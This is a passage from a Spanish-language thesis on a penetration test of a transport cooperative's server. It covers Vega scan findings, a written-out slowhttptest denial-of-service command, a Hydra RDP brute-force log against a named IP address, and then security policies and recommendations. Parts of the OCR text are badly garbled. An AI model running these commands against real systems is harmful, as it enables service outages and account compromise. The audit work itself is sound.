TF 84 A8 1% ED AC BT AR BA
54 04 15 T7c 54 1B 86 AE 00
70 F5 1E 19 54 0B E1 73 5F
EBR B4 CF 91 C7 BE TE B& 5E
41 72 [...]

o

7 6D CA F1 ©C 12 2C AB 18 DA 1A
50 A5 4E DD 3B E7 BO 5A 19
94 3E 9B 64 86 2A 25 5a 3n
CB F7 B0 D8 B3 7B 3B F8 S5E
02 3B E€ 5E E0 20 EE B4 B4 EE
54 B4 49 Fl1 32 CF BF FE 3B RAd
1 95 50 44 3 2
lE 24 BE DE 80 €9 23 4E 63 11
3% 66 20 25 S5E EB 2A 2a 12 D4

1 M o
3 Mo
L ks
L
=

o MmOk m M D 4 s D
=
=

[F I FERN % ) R B
s
1

Figura 22: Servicios SSL / TLS

Escaneo de vulnerabilidades con VEGA

La herramienta VEGA contiene 3 ventanas con opciones diferentes la una es Website
View, que es en donde muestra la URL que se esta analizando. La opcion Scan Alerts que
muestra las vulnerabilidades encontradas segun el riesgo de cada una, y Scan Alert
Summary que muestra el resumen del proceso final cuando ha terminado de ejecutar la

herramienta el debido analisis lo muestra segln su categoria y riesgo. Para iniciar y usar
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el escaner VEGA se lanza un escaneo por defecto pinchando en el icono de "New Scan".

@ Subgraph Vega
File Scan Window Help

@
@& Website View =8
hara=g=
@ Scan Alerts mE =0
(@ 08/27/2021 14:58:26 [Completed] (5)

=Y

@ scan Info

Scan Alert Summary

© High
Session Cookie Without Secure Flag
Cleartext Password over HTTP

© Medium
Local Filesystem Paths Found
O Low

Form Password Field with Autocemplete Enabled

© Info

Blank Body Detected

Ae Identities 53

Figura 23: Escaneo con Vega

(2foun

(1foun

(1foun

(1foun

d)

d)

d)

d)

-0

5 Proxy is not running ZMoroooM [0

Como se observa en la figura 23, Vega esta escaneando las vulnerabilidades que tiene el

servidor de la Cooperativa.
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@ subgraph Vega - O X
File Scan Window Help

QRO & @ Scanner 8 Proxy
& Website View =0 @ Scaninfo =0
®&FE b4
Scan Alert Summary
© High (2found)
Session Cookie Without Secure Flag 1
Cleartext Password over HTTP 1
O Medium (1 found)
(@ Scan Alerts g =8
Local Filesystem Paths Found 1
08/27/2021 14:58:26 [Completed] (5)
P
O Low (1 found)
Form Password Field with Autocomplete Enabled 1
@ Info (1 found)
Blank Body Detected 1

Figura 24: Deteccion de Vulnerabilidades con Vega

Como se observa en la figura 24, VVega encontr6 4 vulnerabilidades; 1 vulnerabilidad alta,
1 vulnerabilidad media, 1 vulnerabilidad bajay 1 de informacion.

Las mismas que se detallan a continuacion:

Cleartext Password over HTTP

@ subgraph Vega - X
File Scan Window Help

R0&

B Console | @ Website View

o ® & e J
@& w6187
@
g Cleartext Password over HTTP
@
@ b AT A GLANCE
@
@ Classification Environment
g Resource IEasyBAS/Account/Login.aspx
Risk
@
@
@
@ b REQUEST
O scan Alers B =0 GET /EasyBAS/AccountiLogin.aspx
v (© 08/28/202118:25:37 [Completed] (5)
v () http://45.6.227.87:6080 (5)
v
0 High
% Cleartext Password over HTTP (/EasyBAS// b DISCUSSION
% Session Cookie Without Secure Flaq (/Eas) L T Sy S P S P

Figura 25: Contrasefia de texto sin cifrar a través de HTTP
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Contenido del recurso

GET /EasyBAS/Account/Login.aspx

Discusién

e Vega detectd un formulario con un campo de entrada de contrasefia que se envia a
un objetivo inseguro (HTTP).

e Los valores de las contrasefias nunca deben enviarse de forma clara a través de
canales inseguros. Esta vulnerabilidad podria resultar en la divulgacion no

autorizada de contrasefias a atacantes de red pasivos.

Session Cookie Without Secure Flag

© subgraph Vega - X
File Scan Window Help
/0S5 © scanner & Proxy

EJ Console @) Website View = B @D scaninfo =g

45627787

[Session Cookie Without Secure Flag

AT A GLANCE

Classification Information
Resource IEasyBAS/
Risk

b REQUEST

GET EasyBAS/

csord over T (Eay AT » RESOURCE CONTENT
# Session Cookie Without Secure Flag (/Eas: I

Figura 26: Cookie de sesion

Solicitud

GET /EasyBAS/
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Contenido de Recursos

ASP.NET_Sessionld=krgjgfhhOp44pnscguggy3wc; path=/; HttpOnly; SameSite=Lax

Discusién

Vega ha detectado que es posible que se haya configurado una cookie de sesion conocida

sin el indicador de seguridad.

Local Filesystem Paths Found

@ Subgraph Vega - u] X
File Scan Window Help
Q05 © Scanner 8 Proxy
@ website View = B /|@ scanInfo =g|f
® L B E en Source Web S i
v @ ~ ]
v @ Local Filesystem Paths Found
/bootstrap-vertical-tabs
@
@ P AT A GLANCE
@
@ Classification Information
@ Resource IEasyBAS/asset/css/basic.css
@ v Risk
@ Scan Alerts B ~8
v (@ 08/27/2021 15:03:05 [Completed] (4)
~ Q) http://45.6.227.57:3020 (4) b REQUEST
~ @ High
% Cleartext Password over HTTP (/Ea GET [EasyBAS/asseticss/basic.css?v=5.0
~ () Medium
% Local Filesystem Paths Found (/Eas,

Figura 27: Rutas del sistema

Solicitud

GET /EasyBAS/asset/css/basic.css?v=5.0
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Contenido de recursos

Imedia/items/

Discusién

Vega ha detectado una posible ruta absoluta del sistema de archivos (es decir, una que no
es relativa a la raiz web). Esta informacion es sensible, ya que puede revelar cosas sobre
el entorno del servidor a un atacante. Conocer el disefio del sistema de archivos puede
aumentar las posibilidades de éxito de los ataques ciegos. Las rutas completas del sistema
se encuentran muy a menudo en la salida de error. Esta salida nunca debe enviarse a
clientes en sistemas de produccion. Debe ser redirigido a otro canal de salida (como un

registro de errores) para que los desarrolladores y administradores del sistema lo analicen.

Form Password Field with Autocomplete Enabled

@ Subgraph Vega - o x
File Scan Window Help
@O 5 () Scanner £ Proxy
@ Website View =g
@ Open Source Web Security Platform o
@
V@ Form Password Field with Autocomplete Enabled
/bootstrap-vertical-tabs
@
@ b AT A GLANCE
@
@ Classification Environment
@ Resource IEasyBASiAccount/Login.aspx
@ hd Risk
@ Scan Alerts B =8
v (&) 08/27/2021 15:03:05 [Completed] (4)
~ @ http://45.6.227.87:8020 (4) P REQUEST
~ @ High
% Cleartext Password over HTTP (/Eay GET [EasyBAS/Account/Login.aspx
v (@ Medium
% Local Filesystem Paths Found (/Eas|
v @ Low b DISCUSSION
% Form Password Field with Autocon

Figura 28: Entrada de contrasefia
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Solicitud

GET /EasyBAS/Account/Login.aspx

Discusién

Vega detectd un formulario que incluia un campo de entrada de contrasefia. El atributo de

autocompletar no estaba desactivado. Esto puede resultar en que algunos navegadores

almacenen valores ingresados por los usuarios localmente, donde pueden ser recuperados

por terceros.

Blank Body Detected

@ Subgraph Vega - O X
File Scan Window Help
@O0 &2 () Scanner £ Proxy
@ website View = 8|/ @ scaninfo =8|
® 5 = Open Source Web Security Platform -
@ ~ '
v @ Blank Body Detected
/bootstrap-vertical-tabs
@
@ b AT A GLANCE
@
@ Classification Information
@ Resource [EasyBAS/asset/jsfall.js
@ ¥ Risk
(@ Scan Alerts E =0
~ @ 08/27/2021 15:03:05 [Completed] (4)
~ ) http://45.6.227.87:2080 (4) P REQUEST
« @ High
= Cleartext Password over HTTP (/Ea! GET [EasyBASiassetfis/alljs
« () Medium
% Local Filesystem Paths Found (/Eas
v @ Low » DISCUSSION
% Form Password Field with Autocon "
v @ Info Vega has delected that requesting this URI returned a blank response body.
= Blank Body Detected (/EasyBAS/as!
48 Identities 52 =0
< >
2% B amMotzat ()

Figura 259: Cuerpo de respuesta en blanco

Solicitud

77



GET /EasyBAS/asset/js/all.js

Discusién

Vega ha detectado que al solicitar este URI se devuelve un cuerpo de respuesta en blanco.

3.5 Realizacién de Pruebas de Penetracion

Una vez terminada la etapa de identificacion de vulnerabilidades se procede con la
explotacion de las mismas, con el objetivo de explotar de manera exitosa y obtener acceso

no autorizado a recursos o servicios del sistema vulnerable.

Ataque de Denegacion de Servicios (DoS) mediante SlowHTTPTest

Los ataques "Slow HTTP" en aplicaciones web se basan en que el protocolo HTTP, por
disefio, solicita que las peticiones que le llegan sean completas antes de que puedan ser
procesadas. Si una peticion HTTP no es completa o si el ratio de transferencia es muy bajo
el servidor mantiene sus recursos ocupados esperando a que lleguen el resto de datos. Si
el servidor mantiene muchos recursos en uso podria producirse una denegacidn de servicio
(DoS)

SlowHTTPTest es una herramienta altamente configurable que simula algunos ataques de
denegacion de servicio de la capa de aplicacion al prolongar las conexiones HTTP de

diferentes maneras.

Es utilizado para buscar vulnerabilidades DoS en el servidor web, o simplemente para

averiguar cuantas conexiones simultaneas puede manejar. SlowHTTPTest funciona en la
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mayoria de las plataformas Linux, OS X y Cygwin, un entorno similar a Unix y una

interfaz de linea de comandos para Microsoft Windows, y viene con un Dockerfile para

facilitar ain mas las cosas.

Para nuestro caso utilizamos slowhttptest que se instalara en Kali Linux mediante el

siguiente comando: apt-get install slowhttptest

slowhttptest -c 500 -H -g -o .Joutput_file -i 10 -r 200 -t GET -u http://45.6.227.87
:8080/EasyBAS -x 24 -p 2

El comando se describe a continuacion:

c: Especifica el niUmero objetivo de conexiones que se estableceran durante la
prueba (en este ejemplo, 500, normalmente con 200 deberian ser suficientes para
colgar un servidor que no tiene proteccion contra este ataque).

H: Inicia slowhttptest en modo SlowLoris, enviando solicitudes HTTP sin
terminar.

0. Obliga a slowhttptest a generar archivos CSV y HTML cuando finaliza la
prueba con la marca de tiempo en el nombre del archivo.

0: Especifica el nombre del archivo personalizado, efectivo con -g.

i: Especifica el intervalo entre los datos de seguimiento para las pruebas Slowrois
y Slow POST (en segundos).

r: Especifica la velocidad de conexion (por segundo).

t: Especifica el verbo que se utilizara en la solicitud HTTP (POST, GET, etc.).

u: Especifica la URL o IP del servidor que desea atacar.

x: Inicia slowhttptest en modo de lectura lenta, leyendo las respuestas HTTP
lentamente.

p: Especifica el intervalo para esperar la respuesta HTTP en la conexidn de prueba,
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antes de marcar el servidor como DoSed (en segundos).

Ahora, ejecutamos el comando con el servidor de destino:

slowhttptest version 1.8.1
- https://github.com/shekyan/slowhttptest -
t type: SLOW HEADERS
500
http://45.6.227.87:8080/EasyBAS/Account/Login.aspx
GET

4096

52

10 seconds
200

2 seconds

240 seconds
no proxy

:12:28 2021:

t status on th second:

Figura 30: Ataque de Denegacién de Servicios (DoS) mediante SIowHTTPTest

En la figura 30, se puede ver, que con 500 conexiones, el servidor no se bloguea en
absoluto porque tenemos proteccion contra este tipo de ataques. El servicio disponible
sera siempre S si se puede alcanzar el objetivo. La salida generada en HTML creada por

nuestras opciones, serd la siguiente:
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Test parameters

Test type SLOW BODY
Number of connections 3500

Verb GET
Content-Length header value 4096
Cookie

Extra data max length 50

interval between follow up data 210 seconds
Connections per seconds 200
Timeout for probe connection 1

Target test duration 240 seconds
Using proxy no proxy

Test results against http://45.6.227.87:8080/EasyBAS/Account/
Login.aspx

—— Closed
3560 —— Pending
Connected
——— Service
available
S 2,000
=
2
S
oS
o
1,000

O AN 92 a3 ah 5® @ @ o\ I A 2h 2P

Figura 31: Resultados de SLOW BODY

Ahora desactivamos la proteccion contra ataques HTTP lentos en el servidor.

ttptest version 1.8.1
- https://github.com/shekyan/slowhttptest -
test 1 e SLOW HEADERS
9500
http://45.6.227.87:8080/EasyBAS/Account/Login.aspx
GET

4096

52

1© seconds
200

3 seconds
240 seconds

no proxy

Figura 32: Servicio no accesible

En la figura 32, observamos que la salida es diferente y el sitio web en el servidor de

destino no es accesible.
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® 45.6.227.87:8080/EasyBs x (@ (11) WhatsApp

€ > C A Notsecure | 45.6.227.87:8080/EasyBAS/Ac

El servicio no estA; disponible.

Figura 33:Servicio no disponible

En la figura 33, se observa que el servicio ya no esta disponible.

Ataque por fuerza bruta

Un ataque de fuerza bruta ocurre cuando el atacante emplea determinadas técnicas para
probar combinaciones de contrasefias con el objetivo de descubrir las credenciales de una
potencial victima y asi lograr acceso a una cuenta o sistema. Existen diferentes tipos de
ataque de fuerza bruta, como el “credential stuffing”, el ataque de diccionario, el ataque
de fuerza bruta inverso o el ataque de password spraying. Generalmente, los ataques de
fuerza bruta tienen mayor éxito en los casos en los que se utilizan contrasefias debiles o

relativamente faciles de predecir.
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Hydra

Es una de las aplicaciones mas conocidas y utilizadas en hacking ético (y por piratas
informéticos) para crackear contrasefias y conseguir acceder de forma no autorizada a
redes y sistemas. Esta aplicacion es totalmente gratuita y de codigo abierto y cuenta de
base con mas de 30 protocolos compatibles (sistemas operativos, webs, bases de datos,
etc) donde intentar conseguir el acceso no autorizado crackeando y rompiendo

contrasefias.

El comando se describe a continuacion:

t: Ejecutar TAREAS numero de conexiones en paralelo (por host, predeterminado:
16)

V: modo detallado / mostrar inicio de sesion + pase para cada intento / modo de

depuracion

I: Indica el usuario del parametro

p: Esta opcién indica una sola palabra que sera utilizada como usuario.

/usr/sh:

or for illegal purposes (this is non-binding, tf
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3389][rdp] account on
ATTEMPT] tar
3389][rdp] acc
ATTEMPT]

on

22

target

- login

1[rdp] account
ATTEMPT] target 45.

- login "administrador” -

login "administrador”

gin

6.227.87

login "administrador”

login

1[rdp] account
ATTEMPT] target 45.6.
3389][rdp] account on
ATTEMPT] target 45.6.

39]1[rdp] account on 45

3891[rdp
EMPT]

ATT

inuing

login

target 45.

ccount on

9][rdp] account

nt.
ATTEMPT]
[3389][rdp]

accos
TEMPT] target 45.
rdp] ac

- login

- login
- logir

- login "administr

in

- login "administrador”

= n1" -

account not active for remote desktop:
pa 0 of 14344399 [child
account not active for remote de

pass "lovel4d” - 1681 14344399 [
active for remote desktop:
" - 1682 of 14344399 [child 0]
might be valid but account active for rem desktop: login:

administrador®™ - pass stefania” 1683 chil
might be valid but account not active for

"administrad - pa3 bullet” 1 ] (6
ight be valid but account not active fo gin:
"administrador” - pass "manuela" 8 14344399 [child 2]
might be valid but account not ac te desktop
administrador” - pass "baseballl” - 1686 of 143
might be valid but account not active for remote desktop:
dor" - p. 7 of
might be valid but account
"administrador” -
lid but a

1679 of 1d 1] (o/e
gin: administrador

(e/0)

alid but
strador® -
alid but
istrador”
alid but account

strador” - pass "holl
not

admin
might be
"admin
might b
admin

inistrador
of
not login: administrador
(0/0)

administrador
of 0

0)
admin
(e/0)
administrador

stradc

login:
14344399 [child 1] (0/0
ogin: administrador

2] (e/0)
ogin: admin

(0/0)
administrador
(0/0)
administrador
(0

lenlel
not
"elena”
active for

alfred”™ - 1689 of 14344399

no

pass
int no

pass

account

might be rador

might be valid but ogin:
d o]
account not active for remote desktop: login:
1pa rd" - 1691 of 14344399 [child 1]
not active for remote desktop:
9

edro

might valid but
administrador”
alid but

be

might be rador
might be valid but
n "administrador”
might be ut a L a
adm "danny1”

account administrador
3] (o/0)
ogin: adminis
0] (0/0)
administrador
/0)
administrador
(0/0)
administrador

not
eisha” - 1693 of 143443
tive for te d

1694 of 14344399 [child
int not active for remot
casey” - 1695 of 14
not active for remote desktop: login:
chandler® - 1696 of 14344399 [child 2]
ctive

rador

might be
valid
"administrador” -
might be valid but

account
pass
account

not

lid but account not 3
- pass "111i111lei
count not acti
"ririin1s]

strador

remote desktop: login: administrador
300 [child 3] (0/0)

remote desktop: login: administrador

# 20 [child 1] (e/0

login: administrador

t not

active for

valid but sktop:
"admini -
might be valid but

pas 0 [child

mote desktop:

1 (0/0)

t not active for login: administrador

dministrado SR A RN R RA RN RN RN RN SRRSO RAEL

valid but
nistrador” - pass "tiittiiitiis
/alid bu t

for

account not active ote desktop: login:

of 300

not active for

(0/0)
administrador

strador” -
id but

- 11 of 300 [c
remote desktop:

hild 1]
in:

pass
account nmot acti for

for

of 300 [ ld 2]

12 2
mote desktop: lo

re

nistr L

be valid but account not active inistrador

inistrador " of

alid but

pass

00 [child 0]

13
r ote desktop:

be login: administrador

300 [child 3] (e/0)
r te desktop: administrador
"administrador

ht valid but

15 of 300 [child 1]
for remote desktop

(e/0)

might be unt no login: administrador
inistrador” -
alid but
"administrador” - pass
b alid but account

1 (o
note desktop: login
ild 0] (e/e)
note deskt

ccount administrador

login: administrad

ote desktop: login: administrador
300 [child 1] (0
might be login: administrador

dministr,
valid

pass
ccount n rador
be valid but account strador

trador
valid but
1] (o/0)
might be valid administrador
in "admir
might

but

be valid but account not

300
de

"administrador” - of

valid bu

pass

be account not active emote
300 [child
300 [child 0] (
of 300 [child
child ]
account not
rz
valid but
alid but

/usr/share/wordlists

password: continuing attacking the account.

password: , continuing attacking the account.

password: estrela, contint the account.

1 ccount.

password: kenny the account.

the account.

account.
e account

la, continuing attacking the account.

bullet, continuing king the account.

password: baseballl, continuing he account.

sword: lenlen, continuing attacking the account.

passw account.

passwor inuing attacking the account.

passwor! continuing attacking the a

password: continuing attacking the account.

password: continuing attacking the acco

sword: continuing attacking the account.

sword: !11111b, continuing attacking account.

password: !!!!!!ipo, attac

continuing
continuing attac

password: !!!1!!lbread, continuing attacking the accou

password: !!!1111leigh, continuing attacking the

(0/0)

word: !!1111151, continuing attackir

password: 1111111#1( #l@#1an!, continuir

password , continuing attacking the account

assword: !10ITIEIIEINIE I it iRt iy

continuing

EERRRETRARLY! inuing att

word

attacking the

he ac

password: pepe, continuing

ssword: markinho, continuing

contin

continuin

ount

attacking the account.

attacking the

ontinuing

. continuing attacking the accour

ttacking the account.
acking

atta

Figura 34: Ataque de fuerza bruta con Hydra

En figura 34, se observa que se tuvo éxito ya que se obtuvo las credenciales.
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Una vez que se detectd vulnerabilidades se sugiere politicas de contingencia.

3.6 Elaboracion de Politicas de Contingencia de Seguridad Informatica que

resguarde los activos informaticos de la Cooperativa de Transportes Flota Pelileo

Las Politicas de Contingencia de Seguridad Informatica que se detallan tienen como
objetivo ayudar a eliminar o reducir vulnerabilidades detectadas para proteger la

Informacion junto con todos los activos de la Red Informatica de la Cooperativa.

Politica ante el mal uso de activos informaticos

e Elpersonal de la Cooperativa debe comprometerse con la mismay de ser el caso
firmar un compromiso de confidencialidad y el uso adecuado de los activos
informaticos.

e En caso de descubrir el mal uso de los recursos informaticos sera reportado al
departamento de Gerencia y de Sistemas para tomar medidas correctivas de
manera inmediata.

e La Gerencia conjuntamente con el Departamento de Sistemas debe planificar
reuniones en las cuales se den a conocer las nuevas amenazas en lo que a

Seguridad Informatica se refiere.
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Politica ante el uso de dispositivos externos

Queda prohibido el uso de dispositivos tecnoldgicos externos a la Cooperativa.
Para la utilizacion de dispositivos especiales se deberé pedir autorizacion con su
respectiva justificacion al Departamento correspondiente, y al departamento de
Tl siendo responsable del uso.

Se debera informar al personal que los dispositivos ajenos a la Cooperativa
como son discos externos, flash pueden ser transmisores de codigo malicioso

CcOomo Virus.

Politica de administracién de contrasefas

Es responsabilidad del usuario garantizar la fortaleza de sus contrasefias.

Esta prohibido que las contrasefias se encuentren de forma legible en cualquier
medio impreso y dejarlos en un lugar donde personas no autorizadas puedan
descubrirlos.

Las contrasefias deben tener un minimo de ocho (8) caracteres deben
conformarse por al menos una letra mayuscula, una letra mindscula, un nimero
y un caracter especial (+-*/@#$ %&). No debe contener caracteres especiales
(vocales tildadas, ni efies, ni espacios).

Evitar que la contrasefia contenga: nombres de familiares, mascotas, fechas
especiales, lugares visitados, secuencias como 123456, etc.

Todo usuario que tenga la sospecha de que su contrasefia es conocido por otra
persona, deberd cambiarlo inmediatamente e informar al departamento de TI.
Los usuarios no deben almacenar las contrasefias en ningin programa o sistema

que proporcione esta facilidad.
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Politica para la confidencialidad de la informacion

Estd prohibido divulgar informacion fundamental de la Cooperativa por
cualquier medio.
La informacién de la Cooperativa bajo ningln concepto podra copiarse o

distribuirse en cuentas de correo 0 almacenamiento remoto de indole personal.

Politicas de seguridad fisica y ambiental

El Servidor debe contar con sistema de proteccion contra incendios, control de
temperatura (aire acondicionado) permanente a una temperatura no superior a
22 grados centigrados y un sistema eléctrico de respaldo (UPS).

Los equipos que hacen parte de la infraestructura tecnoldgica, tales como
servidor, estaciones de trabajo, cableado, UPS, dispositivos de almacenamiento,
entre otros, deben estar protegidos y ubicados en sitios libres de amenazas como
robo, incendio, inundaciones, humedad, agentes biologicos, explosiones,
vandalismo y terrorismo.

El personal por ninglin motivo puede reubicar los equipos de cémputo o de
telecomunicaciones, ni retirar sellos de estos sin la autorizacion del personal de
TI, debiéndose solicitar a la misma en caso de requerir este servicio.

Mientras se manipula el equipo de computo, no se deberan consumir alimentos
ni ingerir liquidos.

El personal o funcionario debera reportar de forma inmediata al departamento
TI, cuando se presente alguin evento como choques eléctricos, caidas, golpes o
peligro de incendio.
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Politica de seguridad de area restringida

Para acceder al servidor, el ingreso a las mismas debe ser con la autorizacion o
vigilancia del encargado del departamento de sistemas.
El &rea donde se almacena la informacion importante debera estar ubicado en

un lugar que no esté expuesto a riesgos fisicos y acceso al publico.

Politica de uso de software

El personal no puede instalar ningun software que no esté autorizado por el
departamento de TI y de ser el caso de debe pedir autorizacion con la debida
justificacién para su instalacion.

Se restringe la instalacion de software de dudosa procedencia por los riesgos

que traen consigo en el caso que lo hicieran.
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Politica para el uso de redes

Las redes fijas 0 moviles facilitadas por la Cooperativa de Transportes Flota
Pelileo seran utilizadas dentro del ambito laboral, es decir, bajo ningln concepto
se accedera a paginas de contenido pornogréafico, redes sociales personales, etc.
El departamento de sistemas con los directivos de la Cooperativa estipularan los
estandares de los contenidos para uso laboral y administrativo en el caso de
detectarse un mal uso de la red para fines recreacionales o ilicitos, para lo cual
la Tl debe notificar a Talento Humano para proceder a las sanciones respectivas.
El personal no puede intentar probar fallas de la Seguridad Informética, en caso
de requerir estas pruebas deben ser aprobadas y controladas por departamento
TI.

No se debe intencionalmente escribir, generar, compilar, copiar, ejecutar o
intentar introducir cualquier tipo de codigo (programa) conocidos como virus,
gusanos o caballos de Troya, disefiado para auto replicarse, dafiar o afectar el
desempefio, acceso a las computadoras, redes o informacion de la Cooperativa.

Politica ante Sistemas desactualizados

Instalar un sistema que garantice la proteccion y estabilidad del servicio.
Aplicar constantemente los parches de seguridad que se publica por parte de los
fabricantes y desarrolladores después del lanzamiento del producto.
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Politica ante Software desactualizado

Decretar responsables que verifique las nuevas actualizaciones vulnerabilidades
que se presenten en el software de uso cotidiano.

Las aplicaciones utilizadas en la Cooperativa se deben actualizar a sus versiones
estables con sus respectivos parches de seguridad instalados, estén conectados a
la red o no.

Verificar las actualizaciones del sistema operativo y los navegadores instalados.

Politica ante certificados de seguridad caducados

Todos los aplicativos Web deben contar con un certificado de seguridad (SSL)
los mismos debe estar activos y actualizados.

El acceso a paginas sin un certificado SSL debe ser a través de una Red Privada
Virtual(VPN).
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Politica de seguridad de equipos

El Departamento de Sistemas debera llevar un inventario actualizado de los
recursos tecnoldgicos de software, hardware, licencias.

El encargado de TI debe verificar el cumplimiento sobre el cambio de
contrasefias y administracion de contrasefia en el servidor, el cumplimento de la
politica debe ser registrado.

El mantenimiento ldgico preventivo a los equipos de computo se debe realizar
cada 6 meses y mantenimiento fisico preventivo minimo una vez por afio,
incluyendo el cableado estructurado.

Todos los equipos de computo deben tener instalado un Antivirus con su

respectiva licencia.

Politica ante pérdida de informacion

Uno de los respaldos se debe almacenar en un sitio externo a la Cooperativa de
una forma comprimida (recomendacion).

Todos los sistemas de aplicaciones que manejen informacion sensible de la
Cooperativa deben generar registros de bitacoras donde conste cambio y
eliminacion de informacion.

El encargado de TI con el Gerente debe examinar, desarrollar y mantener plan

estratégico, planes de accién y planes de contingencia politica.
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Politica ante configuraciones por defecto

Para toda transferencia de archivos al servidor se deben usar protocolos de
seguridad (SFTP, FTPS, SFTP). Ademas, es recomendable revisar las politicas
de seguridad de los productos, logs de incidencias y realizar un monitoreo
frecuentemente de las alertas.

Para realizar la configuracion de un nuevo dispositivo o un sistema operativo de
manera manual dejando activos exclusivamente los servicios que se vayan a
utilizar y eliminar las configuraciones por defecto.

Configurar las aplicaciones y los servicios de red mediante un hardening del
sistema operativo 0 servicio.

Proteger la cuenta de administrador mediante la creacion y asignacion de

usuarios y roles.
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CAPITULO IV

CONCLUSIONES Y RECOMENDACIONES

4.1 Conclusiones

e En la Cooperativa de Transportes Flota Pelileo no se ha ejecutado auditorias de
seguridad informatica para la deteccion de vulnerabilidades, no cuenta con
herramientas que faciliten el analisis, deteccion y explotacion de vulnerabilidades
con esto puedo concluir que proyecto es favorable mediante la investigacion de lo

mencionado.

e Para realizar el presente proyecto de investigacion se utilizé software libre
evitando gastos extras, las herramientas utilizadas pueden ser recomendadas para
dar un seguimiento al analisis y deteccién de vulnerabilidades dentro de la

Cooperativa.

e Se ha cumplido con los objetivos del presente proyecto de investigacion mediante
el desarrollo del mismo, con el estudio y aplicacion de herramientas de seguridad
informatica para la deteccion y explotacion de vulnerabilidades facilitando como
resultado Politicas de Contingencia de Seguridad Informética que deben ser

aplicadas para eliminar o reducir vulnerabilidades existentes.

¢ La metodologia OSSTMM v3 fue escogida de manera apropiada, ya que las
secciones y mddulos aplicados permitieron conseguir los resultados esperados en
la deteccion de vulnerabilidades existentes en el servidor de la Cooperativa y asi

poder dar una propuesta de solucion.

e Los servicios de Terminal Server remotos no estan configurados para utilizar

Unicamente la autenticacién de nivel de red (NLA). NLA utiliza el Protocolo de
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proveedor de soporte de seguridad de credenciales (CredSSP) para realizar una
autenticacion solida del servidor a través de Mecanismos TLS / SSL o Kerberos,
que protegen contra ataques man-in-the-middle. Ademas de mejorar autenticacion,
NLA también ayuda a proteger la computadora remota de usuarios y software
malintencionados al completar autenticacion de usuario antes de que se establezca

una conexion RDP completa.

El servicio de Terminal Services remoto no estd configurado para utilizar

criptografia solida.

El uso de criptografia débil con este servicio puede permitir que un atacante espie
mas las comunicaciones, facilmente y obtener capturas de pantalla y / o

pulsaciones de teclas.

La herramienta Vega ha detectado un formulario que puede provocar el envio de
una contrasefia a través de un canal inseguro, esto podria resultar en la divulgacion

de contrasefas a los espias de la red.

Las cookies pueden estar expuestas a intrusos de la red, las cookies de sesién son
credenciales de autenticacion; los atacantes que los obtienen pueden obtener

acceso no autorizado a las aplicaciones web afectadas.

Vega ha detectado lo que pueden ser rutas absolutas del sistema de archivos en el
contenido escaneado, la divulgacién de estas rutas revela informacion sobre el
disefio del sistema de archivos, esta informacion puede ser sensible, su divulgacion

puede aumentar las posibilidades de éxito de otros ataques.

Se puede almacenar un valor de contrasefia en el sistema de archivos local del
cliente, las contrasefias almacenadas localmente pueden ser recuperadas por otros

usuarios o codigos maliciosos.
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4.2 Recomendaciones

Se sugiere mantener constantes capacitaciones en cuanto a la seguridad
informatica y ejecutar evaluaciones del correcto funcionamiento de los recursos
informéaticos para establecer las mejores préacticas relacionadas a reducir

vulnerabilidades y errores de usuario final.

Se recomienda al encargado de TI, optar por la metodologia OSSTMM como
referencia para el analisis de la seguridad, ya que la metodologia presenta un
proceso de evaluacion de debilidades de una serie de areas que refleja los niveles
de seguridad presentes en la infraestructura a ser auditada, permite valorar los
riesgos, vulnerabilidades que se puedan explotar y el impacto de una explotacion
real finalizando con un reporte incluyendo soluciones a los problemas de seguridad

descubiertos.

Se recomienda al Gerente conjuntamente con el encargado de TI utilizar y dar un
seguimiento correcto a las Politicas de Contingencia de Seguridad Informética
recomendadas con el objetivo de eliminar o reducir las vulnerabilidades
detectadas, garantizado la integridad de la informacion junto con los activos de red

informatica.

Habilite la autenticacion de nivel de red (NLA) en el servidor RDP remoto. Esto
generalmente se hace en el 'Remoto’ pestafia de la configuracion de 'Sistema’ en

Windows.
Cambie el nivel de cifrado RDP a uno de High o FIPS Compliant.

Las contrasefias nunca deben enviarse en texto sin cifrar. El formulario debe

enviarse a un destino HTTPS.

Al crear la cookie en el codigo, establezca el indicador de seguridad en

verdadero.
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Las rutas absolutas se encuentran a menudo en la salida de error, Tanto los
administradores del sistema como los desarrolladores deben ser conscientes, ya
que el problema puede deberse a un error de la aplicacion o una mala configuracion
del servidor, La salida de error que contiene informacion confidencial, como rutas
absolutas del sistema, no debe enviarse a clientes remotos en servidores de
produccidn, Esta salida debe enviarse a otro flujo de salida, como un registro de

errores.

La declaracion del formulario debe tener un atributo de autocompletar con su valor

establecido en "off".
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Anexo 1: Arbol del problema

EFECTOS

PROBLEMA

CAUSAS

ANEXOS

Alto riesgo de infeccidén de malware.

Pérdida o Robo de informacion

Mayor dificultad para localizacion
equipos y fallos en la red

Falta de seguridad informaitica en la Red de la Cooperativa de Transportes Flota Pelileo

Inadecuado uwso de los equipos
informaticos e internet por el personal
de la Cooperativa

Vulnerabilidad en la seguridad de la
red en la Cooperativa

Inadecuado espacio de la
infraestructura de la red

Anexo 1: Arbol del Problema
Elaborado por el investigador

Anexo 2: Ubicacion de la matriz de la Cooperativa de Transportes Flota Pelileo

Anexo 2: Cantén Pelileo, Calle Garcia Moreno y Montalvo.
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